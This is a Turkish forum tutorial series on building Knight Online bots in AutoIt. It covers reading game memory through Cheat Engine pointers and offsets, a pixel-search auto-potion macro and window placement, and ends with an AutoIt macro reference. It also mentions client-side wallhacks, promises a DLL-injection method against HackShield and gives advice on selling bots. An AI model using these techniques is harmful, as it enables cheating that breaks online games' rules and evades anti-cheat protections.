20-> Sonuc olarak pointer ve hp offseti elimizde. Sadece hp yi bulduk, bundan sonrası size kalıyor. Aynı şekilde manayı vs de bulacaksınız. Ama bu sefer bize gereken sadece offseti. Pointeri nasıl olsa bulduk. Unutmayın ki birçok temel değer bir arada bulunur. yani aynı temel adresi kullanırlar. En azından ko da öyle. Ama şunuda söyliyim hemen farklı konulardaki şeyler farklı adreslerde buluna bilir. yani silahın durabiltysi ile karakter ozellikleri ayrı temel adresler kullanırlar.

Tutorial bu kadar artık autoit e dönelim :) bende nerde olduğumu ne yazıcağımı unuttum ya gerçi bi yerden girelim neyse. :)

Auto-it De Memory İşlemleri
Oncelikle bu olay için bize bir memory include si gerek bende olan NomadMemory.au3, bundan orneklerle calısıcam sizinde bunu temin etmeniz gerek devam etmek için. Autoit in forumlarında aynı şekilde yazarsanız bulabilirsiniz.

En baştan başlıyalım artık detaya girmiycem, kodun yanına açıklamasını yazıcam. Temel komutları açıklamıycam zaten biliyorsunuz..

$pid = ProcessExists("KnightOnLine.exe") ; bu memory open fonksiyonu için gerekli. yani bunun return değeriyle memory açabiliyoruz.
$mem = _MemoryOpen($pid) ; KO nun memory sine erişimi açıyoruz.

Bunları en başa global olarak ekleyebiliriz. bir kere kullanıcaz. bundan sonra bir fonksiyon yapmanızı size oneririm. fonksiyonlarla çalışmak daha kolaydır. ilk yapıcagımız fonksiyon temel adresi ogrenmektir. bunun için fonksiyonumuz şudur:

Func _BaseAddressBul($sPointer)
Return $BaseAddress = _MemoryRead($sPointer,$mem) ;elimizde zaten bulunan pointer adresini _MemoryOpen ile yeni açtığımız $mem değerinden okuyoruz. Burda hata almamak için en uste Global $BaseAddress = "" eklememiz lazım. Variableyi tanıtmayı unutmayın.. aslında bunuda yazmamam gerekti ya neyse sonradan okuyanlar için, birdaha yazmıcam ama bu tip bi açıklama :)
EndFunc

Artık $BaseAddress değerimiz oyunu her açtığımızda değişen temel adresi pointerimiz yardımıyla bize bulucak. Geri kalan şey ise Offseti buna ekleyip istediğimiz değeri bulmak. Buyrun oda bu şekilde:

Func _DegerOku($sAddress = $sBaseAddress,$sOffset,$sMem)
$sOffset = Dec($sOffset)
$finalAddress = "0x" & Hex($sAddress+$sOffset)
Return _MemoryRead($finalAddress,$sMem)
Endfunc

Bu fonksiyon direk bize istediğimiz değeri verecektir, hp mp vsss.
Açıklamasını yapalım hemen, $sOffset i dec e cevirmemizin nedeni şudur pointerden gelen adres bize decimal olarak gelir yani sayılardan oluşur. Toplayacağımız için onunda dec olması gerekir. Final adres değişkeninde başına "0x" eklememizin nedeni nomak memory nin bu şekilde okuması ornegin visual basicde &H ekleriz 0x yerine. daha sonrada toplamı hex e çeviriyoruz.
sonucta elimizde kalan değer "0xE295034" vs tarzında bişey oluyor. Fonksiyonun kullanımını söylemiycem çözmeniz zor değil bu kadar hazırcı olmayın, hatta çözülecek birşey bile yok :)

Son olarak herşeyi düzgün yaptık, hp değeri elimizde. Bunu nasıl kontrol edicez onuda basitce söliyim hemen :) Mesela onceki testmac de verdiğim ornek bununla cok guzel bi şekilde kullanılır. Tek yapmanız gereken değeri bi değişkende tutmak, loopda input box daki değeri okuyup, eğer aldığımız hp değeri input boxdakinden küçükse Send(Pot tuşu) şeklinde olacaktır.

Memoryi kullanarak yapabileceğiniz şey çokdur, hayal gücünüzü kullanın. Bu sizin Cheat Engine yi ve memory i nekadar bildiğinize bakar. Misal olarak wallhack, gm modu bunlarda client side memory ile yapılır. örnek olarak wallhack Client Side dir, yani server sizin duvara girip girmediğinizi kontrol etmez.. Client, Server side olayına iyi bir ornekdir bu. Wallhack e gm mod da dahildir. Yazınız mor gozukur. Ama sadece siz gorursunuz. Neden ? cevap verdiniz siz verdiniz :) Doğru cevap. Çünkü server gerçek GM nin siz olmadığınızı bilir.

Bu konuya yapacağınız yorumlarda lütfen şunu nasıl yapıcam bunu nasıl yapıcam diye sormayın. Eğer bir hatanız veya takıldığınız biyer varsa cevaplamakdan mutlu olurum :) Ama dediğim gibi ya chardaki parayı nasıl değiştiricem, dex i nasıl 500 yapabilirim, Aga dupe yapakmı vs bu tip sorularınız cevapsız kalacaktır :))) Çünkü bu tip şeyleri benden öğrenmeniz size hiç bir şey katmaz, kendi kendinize birşeyler üretmeniz her zaman kalıcı olacaktır ve sizi dahada ileriye taşıyacaktır, bunu tamamen yaptıktan pişirdikten sonra bakıcaksınız ki artık daha farklı daha zor şeylerle uğraşıyor olucaksınız. Orneğin ko ya direk paket gondermek gibi... Şuan bende o aşamadayım ve baya yol kat ettim. Eğer iyice pişirirsem sizede bi parça bişeyler düşer elbet :P

Sonuç olarak ben size işin temelini ve zor olan kısmını verdim, size kalansa kolay olan kısmını yapmak, bu fonksiyonları scriptinize direk olarak ekleyebilirsiniz ve kullanabilirsiniz. Sabahtan beridir bu yazıyı yazıyorum uzadıda uzadı dolayısıyla varsa bir hata kendiniz duzeltebilirsiniz. Mantığı anlamış olmanız yeter. Şimdilik sendkey ile idare edin, birdahaki konuda oyunun KeyboardBuffer ini kullanmayı anlatıcam, yani sizin anlayacağınız dilden ALT+TAB modu :)

Son olarak benim korkum şudur piyasanın AhmetKOXP mehmetKOXP dolması. Bu konuda unutmayınki herkezle eşit olursanız sizin hiçbir ayrıcalığınız kalmaz, yapın geliştirin, ama nolursa olsun yaymayın kendiniz kullanın. Kabiliyetinizi ve pc başında harcadığınız onca zamanı hiç anlamayan beleşçi aga kardeşlerimize yedirmeyin :) Geliştirip para kazanma amacında olanlarada şunu söliyebilirim. Piyasanın en iyisi bildiğiniz gibi HF dir. Ancak onun seviyesine geldiğinizde pazarlama işine atılın :) Bi ara çıkan kole gibi 2 ay sonra yalan olmayacak durumdaysanız atılın, Inanınki insanlarla uğraşmak zordur. Bu işin yasal sorumluluklarınıda unutmayın tabiki. Sonuç olarak kalite bi bot yapmak %100 ise bu işide yaptıktan sonra siz bu yolun %40 ında olacaksınız ve siz %10 daha ilerledikçe %100 %110 olacak bunu unutmayın.

Bu kadar edebiyat yeter :D ama hoş görün burda birşey paylaşıyorum ve doğru insanlara gittiğinden emin olmak isterim. Neyse, Sağlıcakla kalın, iyi scriptlemeler.

Pencere Pozisyonunu KOXP Tarzı Yapmak

Başlıktan kastetmek istediğim şu arkadaslar, AKII, Tianhuo veya en eski kosp penceresi hep sag alt tarafta ayarlı bi biçimde karşımıza çıkardı. Yani kabak gibi ortada durmazdı, goze batmıcak sekilde sag alt kosede birden belirirdi. Hobi amaçlı yapılan coğu macro programı en ortalarda çıkar.
Eminimki sizde macro pencerenizin oyuna girildiği anda sağ alt kosede duzgun bir bicimde belirmesini istersiniz :). bunu yapmanın yolu cok basit aslında. Kendi ekranınızda sadece değeri girerek bu işi halledebilirsiniz, mesela 1024x768 ekranınız var yazarsınız left-top değerlerine 800-900 script sag altlarda biyerde çıkar. Ama şayet başka birilerinede bunu dagıtıcam ben derseniz, bunu daha profesyonel bir biçimde yapmanız gerekir. Şayet herkez sizin ekran çözünürlüğünüzde değildir. Şimdi gelelim nasıl yapıcağımıza.

Yardım alıcağımız nesne başlat cubuğudur. Belki bilmeyenler olabilir, başlat çubuğuda windows içinde var olan bir penceredir. Sizin scriptiniz gibi. ve ne olursa olsun her cozunurlukte hep aynı yerde sabit bir şekilde belirir. Buda tam bizim istediğimiz şeydir :)

Daha basite alırsak başlatı kullanmadanda yapabiliriz. Örneğin scriptimizin boyutları 100 e 100 olsun, left pozisyonuna @desktopwidth-100, top pozisyonuna @desktopheight-100 yazarak, ekran cozunurluğu ne olursa olsun scriptimizi sag alt kosede, her bilgisayarda sabit aynı yerde gosterebiliriz. Ama kullanıcı alt tab yaptığında başlat menusunude hesaba katmamız gerek veya kullanıcı oyunu pencere modunda oynuyorsa, scriptimizin bir kısmı başlat menusu altında kalıcaktır. Onun için başlat menusunude hesaba katmak daha iyi olur.

Bunu yapmak için ilk başta autoit e bir ayar yapmamız gerekiyor.
AutoItSetOption("WinTitleMatchMode", 4)
Bu ayar pencereyi class dan bulmamıza yardımcı olur. Yardım dosyasından 1,2,3,4 ne işe yarar bakabilirsiniz.

Şimdi yapmamız gereken başlat cubuğunun pozisyonlarını almaktır. bunun için :
$pos = WinGetPos("classname=Shell_TrayWnd")
Bu komut başlat cubuğunun left,top,uzunluk,genislik değerlerini $pos arrayına alacaktır. Yani :
$pos[0] sola gore yeri, $pos[1] yukarı gore yeri, $pos[2] uzunluğu, $pos[3] genisliği şeklinde.
Burada bize lazım olan şey başlat cubuğunun yukarıya gore olan yeridir.

Sonuç itibariyle, Elimizdeki değerleri penceremizin up,left değerlerine scriptimizin pencere boyutlarını goz onunde bulundurarak girecegiz. Scriptimizin 100e100 olduğunu var sayarsak yapacağımız olay şudur :
$pos = WinGetPos("classname=Shell_TrayWnd")
$left = @DesktopWidth-100
$up = $pos[1] - 100
$Form = GuiCreate("test",100,100,$left,$up)
left,up değerindeki -100 ü 102, 104, 108 vs yaparak birazdaha sola/saga yukarı/assaga oynatma yapabilirsiniz. Görüldüğü gibi gayet basit bir olay. Şimdi gelelim diğer kısıma.
Oynadığınız oyunun anti-cheat i yoksa ve memory e erişebiliyorsanız bu kısmıda kolaylıkla halledebilirsiniz. Bunu bilenler için anlatıyorum memory okuma yazma yı daha anlatmadım daha sonra detaylı bir biçimde anlatıcam. neyse devam edelim, Öncelikle oyundaki karakterinizin hpsinin memory adresini cheat engine yardımıyla buluyorsunuz. Bulduktan sonra yapıcagınız tek şey, scriptin en başına bir Do Loop u eklemek. neden do yu ekliyoruz ? olay şundan ibaret :)
oyunun giriş ekranındasınız diyelim, (id şifre girilen kısım) burada hp değeri yoktur. Yani siz oyuna tamamen girene kadar, karakterinizi gorene kadar hp değeri yuklenmez. (ko yu ornek alırsak) hp değeri yüklendiğinde ise oyuna girdiğimizi anlarız. Scriptimize bir kere neler dondugunu anlatırsa o her seferinde dediğimizi yapacaktır :)

örnek :
Do
Sleep(100)
$mem = memory değerini al
$hp = $mem değerini hex den decimale çevir
Until $hp > 0
Yapıcağımız şey, guisetstate den once bunu koymak yani penceremiz gozukmeden once. Bu loopun yaptığıda şudur : 100ms uyur, sleep koymazsak işlemciyi yorar, hp değerini sizin girdiğiniz memory adresinden alır ve hex den decimal e çevirir (yani bizim anladığımız dile). Püf nokta ise şu : daha karakterimiz yuklenmediği için elde kalan $hp değeri karakter yuklenene kadar 0 olacaktır. Untilede $hp 0 dan buyuk olana kadar dediğimiz için dongu devam edecek 0 dan buyuk değer gelene kadar o satırdan ileri gitmeyecektir. ve karakterimiz yuklendiğinde misal değer 30hp olarak donecek, döngüden çıkacak ve normal script işleyişine devam edecektir. yani penceremiz gozukecektir.

Bu değer sadece hp olmayabilir, mana vs vs de uyar, olmadı memory işinize gelmiyorsa pixel search da kullanabilirsiniz, yani diyelimki loading ekranında sol ust siyah oyuna girince değişik :)
yada oyunun exesinin kullandığı ram lede olabilir. misal 150500k kullanıyorsa 150000 den buyukse şeklinde yapabiliriz.

Burda unutmamaız gereken kolay kolay döngüden çıkılmaz :P eğer trayda autoit menumuz yoksa yani script pause, kapatamayız yada taskmanagerden kaparız.
Programımız do dongusundeyken başka hiçbir komut almaz. Çünkü biz ona şu olana kadar şöyle yap demişizdir dön dersek dönmez. Dönmesi için ona şu olana kadar şöyle yap ama şuda olursa bırak salla :D dememiz gerekir. Onuda aklıma gelen 2 şekilde orneklendiriyim :
$time = Timerinit() ; şuanki zamanı alır. 1 kere alıcaz ve farkı olcucez
Do
sleep(100)
until TimerDiff($time) > 25000
burda yaptığımız aldığımız sureden 25 saniye geçerse loopu bırakdır.

Diğer ornek :
Do
Sleep(100)
$mem = memory değerini al
$hp = $mem değerini hex den decimale çevir

if not processexists(oyunadı.exe) then exitloop

Until $hp > 0
Buradada eger kullanıcı soradan vazgeçip oyunu kaparsa onlemini aldık, dongudeyken oyunadı.exe açık değilse donguyu salla komutunu araya koyduk veya onu exitloop yerine exit yaparız komple kapanır.

Açıklayıcı olmuştur heralde burda komutları vermedim, çünkü anlatmadım yakında memory komutlarınıda anlatıcam, basittir memory.

Şimdilik bu kadar bi ara donguden nasıl cıkılır olayına değinicem, herkeze kolay gelsin.

Profesyoneller için :)

Selamlar, uzun zamandır yeni post atmadım taki bu günü bekledim :P
Auto-it ile ileri duzeye gelmiş arkadaslar için bi güzellik yapıcam.
Güzel botlarınız :P HackShield tarzı programlar yuzunden çalışmıyormu ?

Projemi tamamlamaya az kaldı,
Auto-it ile dll injecti önümüzdeki hafta paylaşıyorum ve açıklamasını yapıorum
bekleyiniz... :P

Z1 Macro + Heal - Oyuna Bot Yapmak - Bir Nevi Koxp :P

Öncelikle, bot dediğimiz şey bizim yapmamız gereken işlemleri yapan programdır robot un kısaltması olsa gerek :D.

Çok çok iyi bir bot yapmak için assembly kullanmak gerekir, ama işimizi görücek derecede bir botu auto-it le rahatça yapabiliriz.

Daha öncede söylediğim gibi, neler yapıcağımızı kafamızda planlayarak, işe başlıyoruz.


-> Planımız bu;
3 tane button, 2 tane label, 2 tane input, 2 tane combo, 1 tane checkbox ekliyoruz. Buttonların birisi başlat, diğeri durdur, öbürü çıkış, labellerin birisinde HP diğerinde MP yazıyor, hemen bu labellerin yanına 2 inputu ekliyoruz, bu iki inputun yanınada 2 comboyu ekliyoruz, checkbox ise kutu toplamak için.
Kısaca ne yapmış olduk ? Oyundaki Karakterimizin, HP si kaça düştüğünde Potion kullansın amacıyla istediğimiz HP yi girebileceğimiz bir input ve hemen yanınada potionu kullanmak için hangi tuşa basıcağını belirleyebileceğimiz bir combo koyduk, aynı şekilde diğer input ve comboda MP için.
Kısaca ben başlata bastığımda bot misal "é1" basıp atack yapmaya başlıycak, HP si girdiğim değere düşünce HP tuşuna basıcak potion kullanıcak, mp si bitince aynı şekilde, checkbox u seçdiysem "space" ye basıp kutuları topliycak ve durdura bastığımdada durucak :), planı kurduk şimdi sırada yapım aşaması.

GUI mi oluşturdum, elimde şöyle birşey var ve bunu SciTE ye aktardım;


Keypress göndermek işin basit tarafıdır, bunu yapmak için gereken şey;
Başlat buttonuna başlatma görevi vermek ve while döngüsünün içine başlatıldığında şu tuşlara durdurana kadar bas komutlarını yerleştirmek. Bunu şu şekilde yapıyoruz ;
Dim $basla = 0

While 1
Sleep(100)
if $basla = 1 then
Send("z1")
endif
Wend

Func Button1Click()
$basla = 1
Endfunc

Func Button2Click()
$basla = 0
Endfunc
görüldüğü gibi olayımız bu :). Sırada kutu toplama var, onuda basit bi şekilde döngünün içine yerleştiriyoruz.
Şu şekilde ;
if GuiCtrlread($checkbox1) = $GUI_CHECKED then ;burada eğer checkbox1 seçiliyse dedik.
send("{SPACE}")
endif
bunu while döngüsünün içine z1 den sonra yerleştiriyoruz.

Şimdi sıra geldi hp ve mp yi okumaya.
Bunun 2 yolu var birincisi pixelsearch yöntemi, yani ekranda renk taraması yaparak hp nin azaldığını anlamak
ikincisi ise memoryread yöntemi, yani direk olarak memoryden Hp yi okumak, ki bu daha güvenlidir.
Ancak her pc de memory değerleri aynı olmayabilir. Yani sizde çalışan program arkadaşınızda çalışmayabilir.
Bunun için şimdilik memory i bi kenara atalım ona daha sonra yer verelim. Pixelsearch ı işleyelim. Bu nedenle hp değeri girmeyide şimdilik atlıyorum..

Duzgun bir şekilde pixelsearch ı gerçekleştirmek için ilk olarak HP bardaki rengi ve ekrandaki yerini bilmemiz lazım.

Bunu öğrenmek için hemen basit bir script yazalım.

;Script

While 1
Sleep(250)
$pos = MouseGetPos()
$pixelrengi = PixelGetColor($pos[0],$pos[1])
ToolTip("X : "&$pos[0]&" Y : "&$pos[1]&" Renk : "&$pixelrengi)
WEnd
Bunu bu şekilde exe ye çevirelim ve oyun açıkken hp barın tam ortasına getirelim,
tooltipde görünen değerler X pozisyonu, Y pozisyonu, ve o pozisyonlardaki renkdir.
Şimdi bu ne işimize yarıycak onu söyliyim, bunları bir kenara not aldıktan sonra,
diyelimki renk kodumuz : 12345678,
renk kodunun pozisyonları : X 300, Y 400,
şu kodu ekliyoruz;

Dim $PotKey = Guictrlread($combo1)

While 1
Sleep(250)
$pixelrengi = PixelGetColor(300,400)
if $pixelrengi = "12345678" then
sleep(10)
else
Send($PotKey)
Endif
WEnd
hemen açıklamasını yapalım, dim ile $potkey in comboda yazan değer olduğunu belirttik.
Yani comboda 1 yazıyorsa 1e, 2 yazıyorsa 2ye 3,4.. vs basıcaktır.
Döngüde yaptığımız olay ise, x300 ve y400 deki renk 12345678 ise bişey yapma ama değil ise hp tuşuna basdır. Biraz daha basit açıklarsak, hp bizim değerini aldığımız tam ortadan aşağı düşerse orası bildiğiniz gibi siyah olur, script orayı siyah gördüğü anda hp tuşuna basıcaktır, kırmızı olduğundada durucak tekrar siyah olmasını bekleyecektir.

Pixelsearch ın düzgün çalışabilmesi için diyelimki siz renk belirlemesi yaparken 1024x768 ekran çözünürlüğü kullandınız o halde, başka bir bilgisayarda kullanılıcak ise çözünürük doğal olarak aynı olmalıdır.

Scriptin tam halini burdan indirebilirsiniz:
http://rapidshare.com/files/83964511/testMac.au3.html

Şimdilik bu kadar, olayın temeli anlaşılmıştır heralde.
Unutulmaması gereken, eğer gameguard veya xtrap tarzı bir program açık ise scriptimizi engelleyecektir :).
Bir dahaki sefer memory ile hp mp kontrolüne değinicem, şimdilik herkeze kolay gelsin,
iyi scriptlemeler. :P


İlave Bilgiler

Birkaç ilave bilgi;

_ karakteri, satır sonunu belirler, diyelimki çok uzun bi komut yazdınız satırı geçiyor, sağa git sola git uğraşamıyorsunuz, o halde şöyle yapıyorsunuz;

MsgBox(4096,"", "This is a rather long line, so I " & _
"broke it with the underscore, _, character.")
; karakteri, satırın başına konulduğunda o satır, sadece bir not olarak kalıyor, yani compiler o satırı komuttan saymıyor anliycağnız :)

Diğer bişeyde bunları karıştırabiliyoruz, istediğimiz kadar birarada, tek tek kullanabiliyoruz;

dim $b_ ; This _ is not a continuation character, nor is the next one
dim $k_
Dim $a[8][2] = [ _
[ "Word", 4 ], _ ; Comment 1
[ "Test", 3 ], _
[ "pi", 3.14159], _ ; Associate the name with the value
[ "e", 2.718281828465], _ ; Same here
[ "test;1;2;3", 123], _
[ ';', Asc(';') ], _ ; This comment is removed, but the strings remain.
["", 0] ]

şimdilik bu kadarı aklıma geldi, geldikçe eklerim bi ara :P

Macrolar

@AppDataCommonDir path to Application Data
@AppDataDir path to current user's Application Data
@AutoItExe The full path and filename of the AutoIt executable currently running. For compiled scripts it is the path of the compiled script.
@AutoItPID PID of the process running the script.
@AutoItVersion Version number of AutoIt such as 3.0.81.0
@COM_EventObj Object the COM event is being fired on. Only valid in a COM event Function.
@CommonFilesDir path to Common Files folder
@Compiled Returns 1 if script is a compiled executable; otherwise, returns 0.
@ComputerName Computer's network name.
@ComSpec value of %comspec%, the SPECified secondary COMmand interpreter;
primarily for command line uses, e.g. Run(@ComSpec & " /k help | more")
@CR Carriage return, Chr(13); sometimes used for line breaks.
@CRLF = @CR & @LF ;occasionally used for line breaks.
@DesktopCommonDir path to Desktop
@DesktopDir path to current user's Desktop
@DesktopHeight Height of the desktop screen in pixels. (vertical resolution)
@DesktopWidth Width of the desktop screen in pixels. (horizontal resolution)
@DesktopDepth Depth of the desktop screen in bits per pixel.
@DesktopRefresh Refresh rate of the desktop screen in hertz.
@DocumentsCommonDir path to Documents
@error Status of the error flag. See the SetError function.
@exitCode Exit code as set by Exit statement.
@exitMethod Exit method. See the Func OnAutoItExit().
@extended Extended function return - used in certain functions such as StringReplace.
@FavoritesCommonDir path to Favorites
@FavoritesDir path to current user's Favorites
@GUI_CtrlId Last click control identifier. Only valid in an event Function. See the GUICtrlSetOnEvent function.
@GUI_CtrlHandle Last click control handle. Only valid in an event Function. See the GUICtrlSetOnEvent function.
@GUI_DragId Drag control identifier. Only valid in an event Function. See the GUISetOnEvent function.
@GUI_DragFile Filename of the file being dropped. Only valid in an event Function. See the GUISetOnEvent function.
@GUI_DropId Drop control identifier. Only valid in an event Function. See the GUISetOnEvent function.
@GUI_WinHandle Last click GUI window handle. Only valid in an event Function. See the GUICtrlSetOnEvent function.
@HomeDrive Drive letter of drive containing current user's home directory.
@HomePath Directory part of current user's home directory. To get the full path, use in conjunction with @HomeDrive.
@HomeShare Server and share name containing current user's home directory.
@HOUR Hours value of clock in 24-hour format. Range is 00 to 23
@HotKeyPressed Last hotkey pressed. See the HotKeySet function.
@InetGetActive Is 1 if a InetGet download is currently active, otherwise is 0.
@InetGetBytesRead During a InetGet download this is the number of bytes currently read. It is -1 when there is an error downloading.
@IPAddress1 IP address of first network adapter. Tends to return 127.0.0.1 on some computers.
@IPAddress2 IP address of second network adapter. Returns 0.0.0.0 if not applicable.
@IPAddress3 IP address of third network adapter. Returns 0.0.0.0 if not applicable.
@IPAddress4 IP address of fourth network adapter. Returns 0.0.0.0 if not applicable.
@KBLayout Returns code denoting Keyboard Layout. See Appendix for possible values.
@LF Line feed, Chr(10); typically used for line breaks.
@LogonDNSDomain Logon DNS Domain.
@LogonDomain Logon Domain.
@LogonServer Logon server.
@MDAY Current day of month. Range is 01 to 31
@MIN Minutes value of clock. Range is 00 to 59
@MON Current month. Range is 01 to 12
@MyDocumentsDir path to My Documents target
@NumParams Number of parameters used to call the user functions
@OSBuild Returns the OS build number. For example, Windows 2003 Server returns 3790
@OSLang Returns code denoting OS Language. See Appendix for possible values.
@OSServicePack Service pack info in the form of "Service Pack 3" or, for Windows 95, it may return "B"
@OSTYPE Returns "WIN32_NT" for NT/2000/XP/2003/Vista and returns "WIN32_WINDOWS" for 95/98/Me
@OSVersion Returns one of the following: "WIN_VISTA", "WIN_2003", "WIN_XP", "WIN_2000", "WIN_NT4", "WIN_ME", "WIN_98", "WIN_95"
@ProcessorArch Returns one of the following: "X86", "IA64", "X64"
@ProgramFilesDir path to Program Files folder
@ProgramsCommonDir path to Start Menu's Programs folder
@ProgramsDir path to current user's Programs (folder on Start Menu)
@ScriptDir Directory containing the running script. (Result does not contain a trailing backslash)
@ScriptFullPath Equivalent to @ScriptDir & "\" & @ScriptName
@ScriptLineNumber Line number of the currently executed script line. Useful for debug statements specially when a function is call you can pass the caller line number. (Not significant in complied script)
@ScriptName Long filename of the running script.
@SEC Seconds value of clock. Range is 00 to 59
@StartMenuCommonDir path to Start Menu folder
@StartMenuDir path to current user's Start Menu
@StartupCommonDir path to Startup folder
@StartupDir current user's Startup folder
@SW_DISABLE Disables the window.
@SW_ENABLE Enables the window.
@SW_HIDE Hides the window and activates another window.
@SW_LOCK Lock the window to avoid repainting.
@SW_MAXIMIZE Maximizes the specified window.
@SW_MINIMIZE Minimizes the specified window and activates the next top-level window in the Z order.
@SW_RESTORE Activates and displays the window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when restoring a minimized window.
@SW_SHOW Activates the window and displays it in its current size and position.
@SW_SHOWDEFAULT Sets the show state based on the SW_ value specified by the program that started the application.
@SW_SHOWMAXIMIZED Activates the window and displays it as a maximized window.
@SW_SHOWMINIMIZED Activates the window and displays it as a minimized window.
@SW_SHOWMINNOACTIVE Displays the window as a minimized window. This value is similar to @SW_SHOWMINIMIZED, except the window is not activated.
@SW_SHOWNA Displays the window in its current size and position. This value is similar to @SW_SHOW, except the window is not activated.
@SW_SHOWNOACTIVATE Displays a window in its most recent size and position. This value is similar to @SW_SHOWNORMAL, except the window is not activated.
@SW_SHOWNORMAL Activates and displays a window. If the window is minimized or maximized, the system restores it to its original size and position. An application should specify this flag when displaying the window for the first time.
@SW_UNLOCK Unlock windows to allow painting.
@SystemDir path to Windows' System (or System32) folder
@TAB Tab character, Chr(9)
@TempDir Path to the temporary files folder.
@TRAY_ID Last clicked item identifier during a TraySet(Item)OnEvent action.
@TrayIconFlashing Returns 1 if tray icon is flashing; otherwise, returns 0.
@TrayIconVisible Returns 1 if tray icon is visible; otherwise, returns 0.
@Unicode

Returns 1 if running using the Unicode version of AutoIt (AutoIt3.exe) or 0 if running the ANSI version (AutoIt3A.exe).

Usually, this macro should not be required as AutoIt handles any Unicode/ANSI conversions. However, with certain DllCalls() or use of direct Windows messages this may be required.

@UserProfileDir Path to current user's Profile folder.
@UserName ID of the currently logged on user.
@WDAY Numeric day of week. Range is 1 to 7 which corresponds to Sunday through Saturday.
@WindowsDir path to Windows folder
@WorkingDir Current/active working directory. (Result does not contain a trailing backslash)
@YDAY Current day of year. Range is 1 to 366 (or 365 if not a leap year)
@YEAR Current four-digit year

ingilizceyi şimdi 2 saat çevirmeye gerek duymadım :P neyin ne olduğu orta okul ingilizcesiyle zaten anlaşılıor :P, bunlar script tarafından düzenlenmiş standart işlevler.
yani ayrıyetten bunları elde etmek için komut kullanmamıza gerek bıkarmıyor.
Misal örnek kullanım;

msgbox(0,"","Yılın şu günündeyiz : " & @YDAY)